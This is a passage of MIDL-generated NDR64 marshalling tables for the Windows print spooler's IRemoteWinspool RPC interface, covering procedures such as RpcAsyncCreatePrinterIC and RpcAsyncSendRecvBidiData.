0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pOut */      /* parameter pOut */\n        &__midl_frag742,\n        { \n        /* pOut */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cOut */      /* parameter cOut */\n        &__midl_frag948,\n        { \n        /* cOut */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ul */      /* parameter ul */\n        &__midl_frag948,\n        { \n        /* ul */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag498_t __midl_frag498 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag497_t __midl_frag497 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag496_t __midl_frag496 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag497\n};\n\nstatic const __midl_frag495_t __midl_frag495 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag494_t __midl_frag494 =\n{ \n/* RpcAsyncCreatePrinterIC */\n    { \n    /* RpcAsyncCreatePrinterIC */      /* procedure RpcAsyncCreatePrinterIC */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag497,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag492_t __midl_frag492 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag491_t __midl_frag491 =\n{ \n/* __MIDL_IRemoteWinspool_0013 */\n    { \n    /* __MIDL_IRemoteWinspool_0013 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag492,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag477,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag489_t __midl_frag489 =\n{ \n/* RPC_BIDI_RESPONSE_DATA */\n    { \n    /* RPC_BIDI_RESPONSE_DATA */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* RPC_BIDI_RESPONSE_DATA */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 20 /* 0x14 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag488_t __midl_frag488 =\n{ \n/* RPC_BIDI_RESPONSE_DATA */\n    { \n    /* RPC_BIDI_RESPONSE_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_RESPONSE_DATA */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag489\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag491\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag487_t __midl_frag487 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag486_t __midl_frag486 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag488\n        },\n        &__midl_frag487,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag485_t __midl_frag485 =\n{ \n/* RPC_BIDI_RESPONSE_CONTAINER */\n    { \n    /* RPC_BIDI_RESPONSE_CONTAINER */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_RESPONSE_CONTAINER */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag486,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag484_t __midl_frag484 =\n{ \n/* *RPC_BIDI_RESPONSE_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag485\n};\n\nstatic const __midl_frag483_t __midl_frag483 =\n{ \n/* **RPC_BIDI_RESPONSE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag484\n};\n\nstatic const __midl_frag482_t __midl_frag482 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag479\n    }\n};\n\nstatic const __midl_frag480_t __midl_frag480 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag480\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/* RPC_BINARY_CONTAINER */\n    { \n    /* RPC_BINARY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BINARY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag482,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n0xb    /* FC64_FLOAT32 */;\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag469\n    }\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag468_t __midl_frag468 =\n{ \n/* RPC_BIDI_REQUEST_DATA */\n    { \n    /* RPC_BIDI_REQUEST_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_REQUEST_DATA */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag470,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag491\n        },\n        { \n        /* RPC_BIDI_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag466_t __midl_frag466 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag468\n        },\n        &__midl_frag487,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag465_t __midl_frag465 =\n{ \n/* RPC_BIDI_REQUEST_CONTAINER */\n    { \n    /* RPC_BIDI_REQUEST_CONTAINER */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_BIDI_REQUEST_CONTAINER */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag466,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag464_t __midl_frag464 =\n{ \n/* *RPC_BIDI_REQUEST_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag465\n};\n\nstatic const __midl_frag462_t __midl_frag462 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag469\n};\n\nstatic const __midl_frag460_t __midl_frag460 =\n{ \n/* RpcAsyncSendRecvBidiData */\n    { \n    /* RpcAsyncSendRecvBidiData */      /* procedure RpcAsyncSendRecvBidiData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pAction */      /* parameter pAction */\n        &__midl_frag462,\n        { \n        /* pAction */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pReqData */      /* parameter pReqData */\n        &__midl_frag465,\n        { \n        /* pReqData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppRespData */      /* parameter ppRespData */\n        &__midl_frag483,\n        { \n        /* ppRespData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag457_t __midl_frag457 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag455_t __midl_frag455 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag452_t __midl_frag452 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset 